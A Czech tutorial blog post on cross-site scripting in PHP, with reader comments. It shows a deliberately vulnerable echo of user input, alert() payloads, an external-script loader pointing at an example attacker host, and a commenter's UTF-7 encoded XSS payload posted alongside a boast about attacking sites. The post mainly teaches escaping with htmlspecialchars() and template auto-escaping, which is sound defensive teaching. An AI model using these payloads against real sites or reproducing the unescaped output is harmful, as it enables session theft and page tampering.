Cross-site scripting
Cross-site scripting, označovaný obvykle zkratkou XSS, patří k nejznámějším útokům vůbec. Ačkoliv o něm již bylo napsáno mnoho, je XSS zranitelnost i nadále jednou z nejčastějších chyb současných webových aplikací. Není tedy od věci si jej připomenout i zde.
Princip Cross-site scriptingu
XSS útok spočívá v tom, že se útočníkovi podaří do napadené stránky vložit vlastní HTML kód, který se při následném zobrazení v prohlížeči interpretuje jako HTML. Triviálním případem ukazujícím XSS zranitelnost může být například tento soubor:
<?php
echo $_GET['id'];
Pokud skript zavolám například jako
www.example.com/index.php?id=<h1>Hello world</h1>
,
vypíše se v prohlížeči text Hello world, ovšem naformátovaný
jako nadpis první úrovně.
Ač to tak na první pohled nemusí vypadat, představuje takový skript ve většině případů vážnou chybu. Problém je v tom, že na výstup vypisujeme nijak neošetřený vstup od uživatele. Aplikace by přitom zpravidla neměla umožnit uživatelům zvenčí do stránky svévolně vkládat jakékoliv interpretovatelné HTML značky. Proč je to tak nebezpečné?
Konec legrace s JavaScriptem
Podstrčení čistě formátovacích HTML tagů do stránky zase až tak moc zajímavé není. Útočník si jimi hezky naformátuje vložený text, přidá nechtěný obrázek, rozhodí layout stránky.
Sranda ovšem končí v okamžiku, kdy takto útočník vloží kus kódu
s tagem <script>
. Tím do stránky podstrčí
libovolný JavaScriptový kód, který se hned provede. Například po
tomto volání našeho skriptu vyskočí na uživatele alert okénko:
www.example.com/index.php?id=<script>alert('Hello
world');</script>
Takto už se dá škodit mnohem více. Útočník může například pomocí XSS nahradit původní důvěryhodný textový obsah stránek svým vlastním, aniž by návštěvník webu vůbec poznal, že se jedná o podvrh. Obdobně může zaměnit cíl přihlašovacího formuláře na stránce tak, aby se uživatelské jméno a heslo odesílalo jemu namísto původní aplikace. Existují dokonce červi, kteří se takto sami šíří z již napadených stránek na další děravé weby. A tak podobně, záleží jen na fantazii útočníka.
Ještě větší nebezpečí přináší fakt, že podstrčený JavaScriptový kód se provádí v kontextu dané stránky. Útočník tak má například plný přístup k uživatelově cookies, může mu třeba prostřednictvím XSS ukrást jeho aktuální Session ID včetně platného přihlášení do aplikace. Pokud je web v prohlížeči zařazen do důvěryhodné zóny, jsou všechny skripty spouštěny s rozšířenými oprávněními této zóny. A tak dále.
Skriptujeme napříč weby
Dosud jsem předpokládal, že se v URL stránky přímo předává celý podsouvaný JavaScriptový kód. To by ale v případě složitějších útoků neúměrně natahovalo délku celého URL. Problém se nejčastěji řeší tak, že útočník uloží celý škodlivý skript na svůj web. Do parametru v URL napadené stránky pak vloží jen tag pro natažení tohoto svého externího skriptu:
<script
src=http://www.example.net/xss.js></script>
Od takového načítání škodlivých skriptů z webu útočníka má celá technika svůj název – Cross-site scripting.
Cesty XSS jsou nevyzpytatelné
Celý útok by byl téměř nepoužitelný, pokud by se oběti muselo vždy podsunout nějaké upravené URL. To je velice pracné a je zde vysoká pravděpodobnost, že si oběť podivného parametru všimne.
Perzistentní XSS je zdaleka nejpoužívanější variantou útoku. Je postaven na tom, že se útočníkovi podaří umístit škodlivý kód do napadeného webu natrvalo. Typickým příkladem je vložení diskuzního příspěvku, do kterého vedle běžného textu napíše právě i svůj JavaScriptový kód. Příspěvek se uloží do databáze a následně se zobrazuje všem dalším návštěvníkům webu – včetně spuštění daného skriptu.
Praktických způsobů, jak do zdrojáku napadené stránky dostat škodlivý skript, existuje celá řada. Často se k tomu jako prostředek využívají i kombinace s některými jinými útoky, například Cross-site request forgery nebo HTTP Response Splitting, o kterých se podrobněji rozepíšu někdy později. Naopak i XSS samo o sobě často slouží jen jako pomocný nástroj pro přípravu či provedení jiných druhů útoků.
Obecně lze ale říci, že nebezpečný může být prakticky
jakýkoliv vstup do aplikace, který by se mohl byť i jen teoreticky
kdykoliv později vypisovat na výstup. Tedy zejména superglobální proměnné
$_GET
, $_POST
, $_REQUEST
,
$_COOKIE
, $_SERVER
, globalizované ekvivalenty jejich
prvků při zapnutých register_globals
apod.
Ochrana před XSS
Spolehlivá ochrana před XSS je přes všechny uvedené
složitosti překvapivě jednoduchá – ošetřit důsledně všechny
výstupy z aplikace funkcí htmlspecialchars()
.
Funkce nahradí všechny HTML citlivé znaky jejich odpovídajícími
textovými entitami. Menšítko nahradí za <
, většítko
za >
apod. Díky tomu se případné HTML značky
podstrčené útočníkem neinterpretují v prohlížeči ve svém významu,
ale vypíší se na obrazovku přesně tak, jak je útočník zadal. Náš shora
uvedený triviální skript bychom tedy mohli opravit:
<?php
echo htmlspecialchars($_GET['id']);
Pokud jej nyní zavoláme jako
www.example.com/index.php?id=<h1>Hello world</h1>
,
server pošle zpátky klientovi zdroják <h1>Hello
world</h1>
a v okně prohlížeče se vypíše prosté
<h1>Hello world</h1>
.
Detekovat, ořezat, vyházet
Existují ale i další možnosti, které jsou ale již komplikovanější či méně spolehlivé. Využijeme je zejména v situaci, kdy chceme ve vstupních řetězcích nechat i nějaký interpretovatelný HTML kód. Například když programujete nějaké CMS a nabízíte uživatelům formátování vloženého obsahu pomocí HTML. Ale i zde je dobré se nejprve zamyslet nad alternativami, jako je Texy.
Smazání všech HTML tagů pomocí funkce
strip_tags()
. Její druhý parametr umožňuje zadat
seznam elementů, které chceme nechat. Funkce ale už neumí zachovat resp.
zrušit jen určité jednotlivé atributy, v našem případě zejména
událostní skriptování. Také se nemusí chovat podle očekávání, pokud
zpracovávaný text obsahuje špatně uzavřené tagy apod.
Totéž pomocí vlastních regulárních výrazů. Napsat spolehlivý a plně funkční regulární výraz, který počítá se všemi možnými případy, je dost obtížné. Navíc potenciálně hrozí, že zapomenete ošetřit některý nebezečný případ.
Detekce potenciálně škodlivých konstrukcí. Množinu hlídaných patternů lze založit například na seznamu uveřejněném v XSS Cheat Sheet. Reálné je ale riziko, že se vždy na nějakou nebezpečnou možnost či její variantu zapomene.
Vyčištění pomocí XSLT šablony. Pro tuto možnost odkazuji na svůj starší článek Ošetření vstupního textu pomocí XSLT.
Paušální jistota
Ale zpátky k základní ochraně pomocí htmlspecialchars()
.
Překvapivě často se setkávám s tím, že si programátoři
selektivně vybírají, co při výpisu ošetří a co ne.
Například funkcí proženou pouze ta data, o kterých vědí, že pochází
ze vstupu od uživatele. Anebo třeba ještě jen nenumerické výstupy.
Teoreticky je to v pořádku a nic jiného skutečně ošetřovat netřeba. V praxi je ale obrovská pravděpodobnost, že se na něco zapomenete, že vám něco unikne, že nedohlédnete do všech souvislostí v aplikaci, nevystopujete důsledně původ všech vypisovaných dat. Navíc mi přijde zbytečné podstupovat u každého echa intelektuální námahu rozhodováním, zda zrovna tohle je nutné ošetřit či nikoliv.
Důrazně proto doporučuji důsledně používat
htmlspecialchars()
paušálně na úplně všechny
výstupy z aplikace. Udělejte si z toho svůj základní
programátorský návyk. Musíte být nervózní pokaždé, když napíšete
echo
bez htmlspecialchars()
.
Neplakat na špatném hrobě
Další častou chybou bývá používání funkce
htmlspecialchars()
na nevhodných místech. Typicky například
při ošetřování a kontrole vstupních proměnných na začátku skriptu či
při ukládání do databáze. Do aplikace si tak zanášíte nesystémové
rozpory a závislost celé aplikační a datové vrstvy na konkrétním typu
výstupu, které se vám dříve či později vymstí.
Ošetření pomocí htmlspecialchars()
používejte
výhradně až při odesílání dat na výstup.
Samozřejmě existují čestné výjimky z tohoto pravidla, například když budete databázi využívat jako cache uložiště pro předpřipravený naformátovaný HTML výstup či jeho část.
Podrobněji jsem se o tomto tématu rozepsal v samostatném článku Aplikační data čistá jako lilie.
Systémově se šablonami
I přes veškerou snahu o důsledné používání
htmlspecialchars()
může člověku sem tam něco utéct.
Standardní postup, jak jsem jej popsal výše, vychází ze skutečnosti, že
implicitně není chráněn žádný výstup a vy musíte vše explicitně
ošetřovat.
Přímo se tu nabízí možnost vzít to celé za opačný konec. Tedy systémově zajistit automatické ošetřování všech výstupů, pokud si výslovně neřeknete, že některý z nich chcete nechat tak, jak je. Pak už je jen a pouze na programátorovi, zda někde záměrně a vědomě vložení HTML kódu umožní.
Popsané chování umožňuje řada současných šablonovacích systémů.
Například ve Smarty lze nastavit implicitní používání modifikátoru
escape
pro celou šablonu:
$smarty = new Smarty();
$smarty->default_modifiers = array('escape:"html"');
Nejsem programátor, spíše se PHP jen poslední dobou bavím. Zajímalo by mě, jak ošetřit proti XSS (jeli-to ten útok, možná se pletu) jestliže nevkládá přímo javascript, ale místo toho nějaký podvrh – např. vloží obrázek z jeho serveru, kde ale namísto obrázku je nějaký skript.
[6] Myslím, že nemáš pravdu, blíže jsem se na toto téma rozepsal v článku http://www.phpguru.cz/clanky/aplikacni-data.
[8] Pak je na místě kontrolovat, zda je v atributu src zadané platé URL, ať už třeba pomocí regulárních výrazů či pomocí speciálně upravené XSLT šablony.
[8] zkus to s Texy Více info na forum.texy.info href=„http://forum.texy.info/viewtopic.php?pid=2325“ rel=„nofollow ugc“>http://forum.texy.info/viewtopic.php?pid=2325
[2] hned ti odpoviem od konca. ochrana neexistuje. ziadny uzasny kod ta nezachrani od CSRF. to je totizto vlastnost samotneho HTTP (RFC 2616). ak mam url http://domena.com/logout? a tato url zabezpecuje odhlasenie, tak poslanim CSRF na tuto url ta logoutne. mozes tam dat aj 139 tokenov a inych serepeticiek, vsetko sa da velmi krasne a celkom jednoducho nasimulovat k plnej spokojnosti.
ako priklad csrf chat obchadzajuci tokeny
http://www.thespanner.co.uk/2008/02/11/csrf-chat/
zle. nie obchadzajuci, ale pouzivajuci. ochrana proti csrf je mozna cez urcite projekty (owasp), ale v tomto momente to povazujem skor za experimentalnu ochranu ako skutocne vyuzitelnu
HEHE já s XSS útočím,dost mě to baví
ale weby už mají docela ochranu tak to jen tak nejde
+ADw-SCRIPT+AD4-alert(‚XSS‘);+ADw-/SCRIPT+AD4–